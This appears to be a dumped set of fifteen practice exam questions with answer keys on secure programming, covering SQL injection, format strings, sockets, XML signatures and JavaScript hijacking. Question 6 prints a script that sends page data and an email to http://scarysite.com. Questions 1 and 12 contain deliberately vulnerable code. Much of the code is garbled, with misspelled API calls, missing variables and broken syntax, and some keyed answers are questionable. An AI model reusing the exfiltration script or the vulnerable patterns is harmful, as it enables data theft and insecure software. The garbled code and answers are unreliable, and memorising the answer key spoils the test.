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QUESTION 1

What vulnerability is the following code susceptible to? 

CREATE OR REPLACE PROCEDURE demo (name in VARCHAR2) as 

cursor_name INTEGER; 

rows_processed INTEGER; 

sql VARCHAR2(150); 

code VARCHAR2(2); 

BEGIN 

... 

sql := \\'SELECT postal_code FROM states WHERE state_name = \\'\\'\\' 

|| \\'\\'\\'\\'; 

cursor_name := dbms_sql.open_cursor; 

DBMS_SQL.PARSE(cursor_name, sql, DBMS_SQL.NATIVE); 

DBMS_SQL.DEFINE_COLUMN(cursor_name, 1, code, 10); 

row_processed:= DMBS_SQL.EXECUTIVE(cursor_name); 

DBMS_SQL.CLOSE_CURSOR(cursor_name); 

A. SQL string manipulation 

B. DBMS_Open string attacks 

C. Oracle injection 

D. SQL injection 

Correct Answer: D 

 

QUESTION 2

Yancey has just finished downloading the Valgrind suite to use in his application development. Yancey is most
concerned about the possibility of memory-management issues in his programs. What tool included in Valgrind suite
can Yancey use to detect memory-management related issues? 

A. Massif 

B. Cachegrind 

C. Memcheck 
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D. MemoryGuard 

Correct Answer: C 

 

 

QUESTION 3

Why would a software development firm want to fix any issues with a program at the design stage as opposed to fixing
issues with a program through a patch release? 

A. Releasing a patch costs 25 times as much as fixing the issue in the design stage 

B. Releasing a patch costs 5 times as much as fixing the issue in the design stage 

C. Releasing a patch is actually the most efficient and cost effective way of solving issues 

D. Releasing a patch costs 60 times as much as fixing the issue in the design stage 

Correct Answer: D 

 

QUESTION 4

Kenny is the CIO for Fredrickson Entertainment, a gaming software company in Omaha. The developers in Kenny\\'s
company have just finished creating a 3D first person shooter game that will be released to the market within the next
couple of months. Kenny is trying to decide what type of license or activation code structure they should use for the
game to prevent piracy and protect their product. Kenny decides to go with an approach that will allow each sold copy to
be activated online up to five times because he knows his users might have multiple PCs or might need to reinstall the
product at some point. 

What type of activation policy has Kenny decided to go with? 

A. Loose license enforced - reasonable use 

B. License terms enforced - fair use 

C. Strict license terms enforced 

D. Monitor only mode 

Correct Answer: A 

 

 

QUESTION 5

Jonathan is creating an XML document and needs to sign data streams. In his code, Jonathan creates a signature node
that is contained within the signed datastream. What type of signature signing has Jonathan employed here? 

A. Enveloping 
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B. Attached 

C. Detached 

D. Enveloped 

Correct Answer: D 

 

 

QUESTION 6

Travis, a senior systems developer for YNY Services, received an email recently from an unknown source. Instead of
opening the email on his normal production machine, Travis decides to copy the email to a thumb drive and examine it
from 

a quarantined PC not on the network. Travis examines the email and discovers a link that is supposed to take him to
http://scarysite.com. Travis decides to get back on his production computer and examine the code of that site. 

From the following code snippet, what has Travis discovered? 

 

function object() { 

this.email setter = captureobject 

} 

function captureobject(x) { 

var objstring = "" 

for(fld in this) { 

obstring += fld + ": " this[fld] + ", "; 

} 

obstring += "email: " + x; 

var req = new XMLHttpRequest(); 

req.open("GET", "http://scarysite.com?obj=" + 

escape(objString), true); 

req.send(null); } 

 

A. URL obfuscation 

B. XSS attack 
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C. JavaScript hijacking 

D. URL tampering 

Correct Answer: C 

 

QUESTION 7

What would be the output of the following script? 

import java.net*; 

public class ExampleByName { 

public static void main(String[] args) { 

try 

{ 

InetAddress.getByName(www.microsoft.com"); 

System.out.println(address); 

} 

catch (UnKnownHostException e) { 

System.out.println("Could not find www.microsoft.com") 

} 

} 

A. IP address of www.microsoft.com 

B. Hexadecimal equivalent for www.microsoft.com 

C. Tracert information to the www.microsoft.com 

D. Whois information for www.microsoft.com 

Correct Answer: A 

 

QUESTION 8

What type of authentication is used in the following Pocket SOAP code? Dim Envelope 

Dim HTTP 

Set Envelope = CreateObject("PocketSOAP.Envelope.2") 

Set HTTP = CreateObject("PocketSOAP.HTTPTransport.2) 
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Envelope.SetMethod "GetSome", "http://www.mysite.org/message/" 

Emvelope.Parameters.Create "SomeParameter", "SomeValue" 

HTTP.SOAPAction = "http://www.mysite.org/action/Service.GetSome" 

HTTP.Authentication "Username", "Password" 

HTTP.Send http://www.mysite.org/webservice.WDSL",Envelope.Serialize 

Envelope.Parse HTTP 

MsgBox "Result: " and Envelope.Parameters.Item(0).Value 

A. Digest authentication 

B. SSL authentication 

C. Basic authentication 

D. Integrated authentication 

Correct Answer: C 

 

QUESTION 9

What testing methodology does not require any knowledge of the internal design or code of a software application? 

A. Integration testing 

B. White box testing 

C. Black box testing 

D. Unit testing 

Correct Answer: C 

 

QUESTION 10

Gerald is a web security consultant for Protectors International. Gerald\\'s main responsibility is to search the Internet for
malicious and deceitful sites that the public should be aware of. Gerald was tipped off about a particular site and is now 

looking over its source code in a protected environment. Gerald finds the following snippet particularly interesting. What
has Gerald stumbled upon? 

 

document.write(\\' 

\\'); 

document.hack.submit(); 
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A. Hidden post command 

B. Hidden form fields 

C. JavaScript hijacking 

D. XSS attack 

Correct Answer: B 

 

QUESTION 11

Harold is writing a client-side socket program that will create a TCP connection to a remote server to retrieve data. What
function should Harold use to create this connection? 

A. SOCK_SRVADR 

B. SOCK_TCP 

C. SOCK_DGRAM 

D. SOCK_STREAM 

Correct Answer: D 

 

 

QUESTION 12

David is an applications developer working for Dewer and Sons law firm in Los Angeles David just completed a course
on writing secure code and was enlightened by all the intricacies of how code must be rewritten many times to ensure
its 

security. David decides to go through all the applications he has written and change them to be more secure. David
comes across the following snippet in one of his programs: 

#include  

int main(int argc, char **argv) 

{ 

int number = 5; 

printf(argv[1]); 

putchar(`\n\\'); 

printf("number (%p) is equal to %d\n", 

andvalue, value); 
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} 

What could David change, add, or delete to make this code more secure? 

A. Change putchar(`\n\\') to putchar("%s", `\n\\') 

B. Change printf(argv[1]) to printf("%s", argv[1]) 

C. Change printf(argv[1]) to printf(constv [0]) 

D. Change int number = 5 to const number = "" 

Correct Answer: B 

 

QUESTION 13

Heather has built a new Linux kernel for her machine and wants to use the grub boot loader. Which file should she edit
to tell the computer how to boot up properly? 

A. /boot/grub/menu.lst 

B. /usr/src/linux/arch/i386/boot/menu.lst 

C. /etc/dev/boot/menu.lst 

D. /etc/boot/lilo.conf 

Correct Answer: A 

 

QUESTION 14

John is creating a website using ASP. John\\'s web pages will have a number of calculations, so he decides to create an
include file that the pages will call so he does not have to rewrite the formula numerous times. John\\'s website will be
hosted by a server running IIS. John wants to ensure that the include source code is not revealed when the pages are
viewed, so he gives the include an .asp extension. 

When IIS processes the include file, which system file will be used to hide the include source code? 

A. ASP.dll 

B. Include.dll 

C. IISASP.dll 

D. IIS.dll 

Correct Answer: A 

 

QUESTION 15

In the following socket programming code, who will the server allow connections from? 
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int main(void) 

{ 

int s1, s2; 

s1 = socket(AF_INET, SOCK_STREAM, 0); 

sin.sin_port = htons(30); 

sin.sin_family = AF_INET; 

sin.sin_addr.s_addr = 0; 

bind(sockfd, (struct sockaddr *)andsin, sizeof(sin)); 

listen(sockfd, 10); 

s2 = accept(sockfd, 10); 

write(s2, "hello\n", 6) 

} 

A. Only those coming in on TCP port 10 

B. Only those on the same subnet as the server 

C. Only those coming in on UDP port 10 

D. Anyone 

Correct Answer: D 
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